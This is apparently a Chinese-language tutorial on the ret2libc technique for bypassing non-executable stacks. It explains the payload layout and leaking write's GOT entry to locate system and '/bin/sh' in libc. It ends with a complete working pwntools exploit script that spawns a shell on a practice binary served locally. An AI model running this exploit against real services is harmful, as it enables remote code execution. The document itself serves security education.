文中writeup收集自互联网,但本文主题是介绍ret2libc借例子一用,姑且算原创吧。
数据执行保护:
DEP就是将非代码段的地址空间设置成不可执行属性,一旦系统从这些地址空间进行取指令时,CPU就是报内存违例异常,进而杀死进程。栈空间也被操作系统设置了不可执行属性,因此注入的Shellcode就无法执行了
导向系统库函数执行(ret2libc)攻击方法:
系统函数库(Linux称为glibc)有个system函数,它就是通过/bin/sh命令去执行一个用户执行命令或者脚本,我们完全可以利用system来实现Shellcode的功能。EIP一旦改写成system函数地址后,那执行system函数时,它需要获取参数。而一般32位函数调用是通过压栈来传参的。
攻击的注入结构是:"A"*n + system_addr + exit_addr + arg
实例说明
样本地址http://download.csdn.net/detail/u011987514/9798052
例子提供了一个二进制文件和该文件依赖的libc库,开启了NX服务,表示堆栈不可执行
可以知道buf大小为0x1c
所以注入结构可以构造为:32*'a'+ system_addr + ret_addr + '/bin/sh'
首先利用28byte的padding将buf填满,再加4byte将ebp填满,然后覆盖原返回地址为system_addr,
控制程序跳转到system_addr,然后压入system_addr的返回地址ret_addr,再压入参数'/bin/sh'即可执行
system('/bin/sh')命令getshell.
下面解决如何获取system地址的问题
在运行sample的时候libc库会被动态的加载到内
存中,libc中有system函数,所以目的是要确认内存中
system函数的地址。
这里需要理解一种外部函数调用的机制:
第一次call write 实际 调用write@plt,系统会将write在内存中的地址写入write@got
第二次call write 的时候直接jmp *write@got
另外,系统函数的相对地址是不变的, 无论是在内存中还是文件中。
write_addr - system_addr =write_addr_libc - system_addr_libc
所以思路就是获取write函数加载到内存的地址,由于libc库为已知条件(就是说任意两个函数的相对地址差是作为已知条件的),那么知道了write函数就等于知道了system函数在内存中的地址。
socat TCP4-LISTEN:10000,fork EXEC:filepath 运行文件
payload:
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
context.log_level = "debug"
p = remote("127.0.0.1", 10000)
e = ELF('libc.so.6')
pwn = ELF('sample')
payload1 = "a"*32 # 32 byte的padding
payload1 += p32(pwn.symbols['write']) # 控制eip跳转到write函数
payload1 += p32(pwn.symbols['foo']) # 调用完write后的返回地址
payload1 += p32(1) + p32(pwn.got['write']) + p32(4)# write函数的三个参数: write(1, write_got, 4)
p.sendline(payload1)
p.recv()
a = p.recv()
write_addr = u32(a[-4:]) # write 在内存中的值
write_system_addr = e.symbols['write'] - e.symbols['system'] # write函数和sytem函数地址的差值
write_shell_addr = e.symbols['write'] - e.search('/bin/sh').next() # write函数和/bin/sh字符串地址的差值
sys_add = p32(write_addr - write_system_addr) # 通过差值计算出system函数在内存中的地址
shell_add = p32(write_addr - write_shell_addr) # 计算出/bin/sh字符串的地址
ret_addr = '\x12\x12\x12\x12' # 调用system函数后的返回地址, 这里随便填
payload = "a" * 32 + sys_add + ret_addr + shell_add # 调用system('/bin/sh')
p.sendline(payload)
p.interactive()